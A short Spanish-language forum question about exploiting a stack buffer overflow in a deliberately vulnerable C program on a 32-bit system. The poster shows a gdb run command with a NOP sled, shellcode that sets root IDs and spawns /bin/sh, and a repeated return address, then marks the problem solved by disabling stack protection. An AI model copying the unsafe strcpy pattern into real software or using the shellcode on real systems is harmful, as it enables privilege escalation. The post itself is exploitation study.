[Duda] Explotando BoF - No conseguimos ejecutar la shellcode

Iniciado por GoKGz, 11 Diciembre 2016, 00:06 AM

0 Miembros y 1 Visitante están viendo este tema.

GoKGz

Código vulnerable:
#include <stdio.h>
#include <string.h>

int main (int argc, char **argv){

char buffer[500];
strcpy(buffer, argv[1]);

puts (buffer);

return 0;
}



Probamos con esta y la dirección del rip queda apuntando a la mitad del tamaño del buffer (dicen que se hace así):
Lo corrimos con gdb con esta entrada
r `perl -e 'print "\x90"x439 . "\x31\xc0\x99\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x89\xc2\x31\xc0\xb0\xa4\xcd\x80\x31\xc0\x99\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\xff\xff\x64\xcd"x10'`


Primero lo llenamos de NOP's luego la shellcode más la dirección de retorno, cabe aclarar estamos en un sistema de 32 bits.

Pero no logramos ejecutar la shellcode, ¿qué estamos haciendo mal?


SOLUCIONADO: Tenía que compilar con -z execstack
COME AT ME BRAAAAH.